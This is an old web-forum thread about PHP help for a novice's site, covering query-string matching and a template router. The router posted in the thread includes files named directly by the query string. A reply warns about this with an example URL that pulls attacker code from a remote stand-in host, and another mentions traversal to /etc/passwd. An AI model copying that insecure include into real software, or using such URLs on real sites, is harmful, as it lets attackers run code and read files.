Not signed in (Sign In)

Categories

Vanilla 1.1.5 is a product of Lussumo. More Information: Documentation, Community Support.

Help keep Vanilla free:
Welcome Guest!
Want to take part in these discussions? If you have an account, sign in now.
If you don't have an account, apply for one now.
  1.  # 1
    Ok... I currently have a php function:
    if($_SERVER['QUERY_STRING'] == 'thetalent' ||
    $_SERVER['QUERY_STRING'] == 'thetalent:bcavalier' ||
    $_SERVER['QUERY_STRING'] == 'thetalent:bquire' ||
    $_SERVER['QUERY_STRING'] == 'thetalent:acigainero' ||
    $_SERVER['QUERY_STRING'] == 'thetalent:dduffield' ||
    $_SERVER['QUERY_STRING'] == 'thetalent:sfahrenheit' ||
    $_SERVER['QUERY_STRING'] == 'thetalent:lanna' ||
    $_SERVER['QUERY_STRING'] == 'thetalent:mfernandez' ||
    $_SERVER['QUERY_STRING'] == 'thetalent:aheers' ||
    $_SERVER['QUERY_STRING'] == 'thetalent:jhenry' ||
    $_SERVER['QUERY_STRING'] == 'thetalent:ajacob' ||
    $_SERVER['QUERY_STRING'] == 'thetalent:lmbuthia' ||
    $_SERVER['QUERY_STRING'] == 'thetalent:kmulligan' ||
    $_SERVER['QUERY_STRING'] == 'thetalent:kserfass' ||
    $_SERVER['QUERY_STRING'] == 'thetalent:obarua')
    { echo 'TabOn'; }
    else { echo 'TabOff'; }?>' href='?thetalent'


    Is there a way I can just have it check for the to see if it contains "thetalent" in it and echo tabon rather than have to declare each and every one?
    •  
      CommentAuthorBergamot
    • CommentTimeFeb 28th 2006 edited
     # 2
    if(substr($_SERVER['QUERY_STRING'], 0, 9) == 'thetalent')
    echo 'TabOn';
    else
    echo 'TabOff';


    You can do it with regular expressions too, but regular expressions are evil.
  2.  # 3
    Thanks sooooooooo much. declaring each was getting annoying as hell
    lol
    •  
      CommentAuthorBergamot
    • CommentTimeFeb 28th 2006
     # 4
    No prob.

    There are a lot of things I dislike about PHP, but a lack of built-in string manipulation functions is not among them.
    • CommentAuthorithcy
    • CommentTimeFeb 28th 2006
     # 5
    wait a minute...




    regular expressions are evil?
    •  
      CommentAuthorBergamot
    • CommentTimeFeb 28th 2006
     # 6
    Yes?
    • CommentAuthorithcy
    • CommentTimeFeb 28th 2006
     # 7
    you
    -----fence-----
    me
    •  
      CommentAuthorBergamot
    • CommentTimeFeb 28th 2006
     # 8
    lol.

    I said "evil", not "useless"
  3.  # 9
    Care to show me what the regular expression version would look like?
    • CommentAuthorithcy
    • CommentTimeMar 1st 2006
     # 10
    if (preg_match("/^thetalent/",$_SERVER['QUERY_STRING']))
    {
    echo('TabOn');
    } else {
    echo('TabOff');
    }


    but for something like this it's better to use strpos() unless you really need regular expressions. see http://php.net/strpos for reference.
  4.  # 11
    AH, see... I have no idea how to differentiate from regular expressions from what I was using. I should really, probably, learn php... =P
  5.  # 12
    Ok, rather than make a new thread I'll add an addendum question.

    I'm currently using this php code:
    <?php
    $query = $_SERVER['QUERY_STRING'];
    $query = explode(':',$query);

    if(empty($query[0]) && empty($query[1]))
    {
    require_once 'home.php';
    }
    elseif(empty($query[1]))
    {
    require_once $query[0].'.php';
    }
    else
    {
    require_once $query[0].'/'.$query[1].'.php';
    }
    ?>
    to call php files into a template file I've designed.

    Using this code I am able to have address.com/?page which will call, for example, if the page was ?opportunities it would call opportunities into that page.

    If I call a page from another directory I'd just put ?DirectoryName:NameOfFile

    I'd like to be able to display regular URLS. Such as website.com/PageName.php or website.com/DirectoryName/PageName.php or even .html. Is this clear? If it is, does anyone know how to go about this?
  6.  # 13
    Sounds like you need mod_rewrite. Dont ask me how, but i'm pretty sure thats what you're after.
    • CommentAuthorithcy
    • CommentTimeMar 4th 2006 edited
     # 14
    there are a number of ways to do what you're asking. most of them require control over the webserver (like use of mod_rewrite, like minisweeper said, which is a way to eliminate .php from your urls, for example)

    if you don't care about having a .php in there, but you don't want the question mark, you could use $_SERVER['PATH_INFO']
    that way if your url was http://server.com/file.php/this/is/a/test
    then from inside file.php, $_SERVER['PATH_INFO'] would be "/this/is/a/test" and you could do with that whatever you wanted.

    but what's so bad about using $_GET?
    if your url was http://server.com/file.php?t=x
    then $_GET['t'] would be "x" and you wouldn't have to mess with explode and all that other crap.

    word of advice: never just take the query string and use it to include a file (like you do in your code up there (require_once $query[0].'.php';) without doing some checking and sanitizing first. because what if i entered this url: http://your.server.com/file.php?sensitiveserverinformation
    see what i'm saying? have an array of valid files and check against that, or something. don't let people enter whatever they want, and show it to them.
  7.  # 15
    the problem with having an array is I have soooooooo many links It'd become overwhelming....
  8.  # 16
    The least you should do is make sure they cant include *backwards* up the tree. And if they can make sure it's limited. Everyone knows about exploits in the past which let silly scripts browse to /etc/passwd and stuff.
  9.  # 17
    Also, I appreciate your response, but I'm looking for a c more clear-cut solution as I'm really no experienced in PHP as much as I'd like to be. How would I alter the code, or what would I rplace the code with?
  10.  # 18
    I tested going backwards and I don't think they can... It just keeps displaying the homepage. Also, If I'm able to get the url to look normal... then they wouldn't even know to try that, would they?
    • CommentAuthorithcy
    • CommentTimeMar 4th 2006
     # 19
    i can't tell you that without understanding how your site is laid out, but i can tell you this, if i'm interpreting your needs correctly:

    you should be using a database to hold information about these people, instead of a million static pages, one for each person.
    • CommentAuthorithcy
    • CommentTimeMar 4th 2006
     # 20
    maybe not the people you're writing the site for, but there are plenty of people who DO know to try just that, who go around looking for these sorts of things, in fact, and it only takes one person to figure it out.
  11.  # 21
    Well, if you're willing to help, that is, how can I enlighten you to how my website works without exposing the inner workings of it to everyone here?

    If you're not, then I'll figure something out eventually but it probably won't be the cleanest or most secure, haha.

    I've kind of had to learn all this stuff in the process of building this website, it's been an experience, I tell ya.
    • CommentAuthorithcy
    • CommentTimeMar 4th 2006 edited
     # 22
    in fact, let me give you an example. just so you realize how dangerous it can be.

    http://your.server.com/file.php?http://mysite.com/myillicitcode.php

    that's right, include(), by default, will happily process files from remote sites.
    which means i could write any code i wanted and your file would process it right there, in place.
    which means i could write some code, to say, list out the entire contents of your directory tree and/or print the contents of any file from your site i want. or launch attacks on remote sites so that it looks like you're the attacker, or spam everyone on the planet, or whatever.

    do you see what i'm saying now? it's simple enough to prevent this kind of thing. you cannot include things from the query string. you just can't.
  12.  # 23
    let me try
    • CommentAuthorithcy
    • CommentTimeMar 4th 2006
     # 24
    sure, i'm willing to help, if i can. you can try to describe it without getting into specifics like passwords and such - i'm sure you can figure out a way to lay it out.
  13.  # 25
    ok I tried to include a php file from another website I have following the format you gave me for a url. I get:
    XML Parsing Error:  no element found
    • CommentAuthorithcy
    • CommentTimeMar 4th 2006
     # 26
    you're just going to have to take my word that it's a very real, well-known and serious security problem. it's known as code injection. in fact it's spelled out under "security warning" in the official documentation for the include function. i don't know how else i can warn you.
  14.  # 27
    I'm in no way trying to say that you are wrong. I'm just wondering why it's not doing it in my case.

    I'll try to work on the wording of how my code is all layed out for ease of readability.
    • CommentAuthorithcy
    • CommentTimeMar 4th 2006 edited
     # 28
    well, assuming that you don't have any xml functions in the code you're talking about here, that xml warning is coming from the remote site, which means it is doing it
  15.  # 29
    I seem to be irritating you with my ignorance, haha. I'll post back with a more clearly written explanation of my problem later on.
    • CommentAuthorithcy
    • CommentTimeMar 4th 2006
     # 30
    no, not at all. sorry if i'm coming across that way!
  16.  # 31
    In the meantime...

    http://onemanshortproductions.com

    So you can see what I'm working with, at least.
  17.  # 32
    I tried emailing you but i got a mailer daemon error. Anyways, this is what I said:

    Yeah, I do have database access. I'm willing to assume I've gone about
    everything wrong and am open to suggestion and willing to do the base over
    again. Any help would, well, help. =P
  18.  # 33
    you lost interest?
    •  
      CommentAuthorBergamot
    • CommentTimeMar 18th 2006
     # 34
    Do you know that you aren't whispering?
  19.  # 35
    aye. Whispering didn't make the topic look unread to me nor did it notify that I had a whisper and so I didn't know he had whispered me until 5 days or so after. This way, it gives indication.
    •  
      CommentAuthorBergamot
    • CommentTimeMar 18th 2006
     # 36
    Yeah but you look like you're talking to yourself.
  20.  # 37
    lol well in the last 2 posts I have been... :P
    • CommentAuthorithcy
    • CommentTimeMar 19th 2006
     # 38
    haha... i haven't been around in a while.
    no, i didn't lose interest. can you try emailing me again? it's a gmail address, you shouldn't have any delivery problems.
  21.  # 39
    Ok, how would i got about checking to see if a variable was declared, and if it was declared, then echo something?
  22.  # 40
    ^ question directed towards anyone.
    • CommentAuthorSirNot
    • CommentTimeMar 26th 2006
     # 41
  23.  # 42
    Lol, so simple, and will reduce my php by a lot :P Thanks!
    •  
      CommentAuthorBergamot
    • CommentTimeMar 26th 2006
     # 43
    Like I said before, PHP has a built in function for everything.
  24.  # 44
    even generating blow up dolls? Awesome!
    •  
      CommentAuthorBergamot
    • CommentTimeMar 26th 2006
     # 45
    $doll_for_mini = new BlowUpDoll("sheep");
    • CommentAuthorDigitaLink
    • CommentTimeMar 27th 2006
     # 46
    Oh, that was just baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-d. :P
    •  
      CommentAuthorlech
    • CommentTimeMar 27th 2006
     # 47
    $slap(knee);
    • CommentAuthorSirNot
    • CommentTimeMar 28th 2006
     # 48
    That won't work unless slap's a variable pointing to a valid function and knee's a definition.
    •  
      CommentAuthorgiginger
    • CommentTimeMar 28th 2006
     # 49
    $lost = giginger PHP("n00b");
    • CommentAuthorSirNot
    • CommentTimeMar 28th 2006
     # 50
    $giginger = new Noob('php');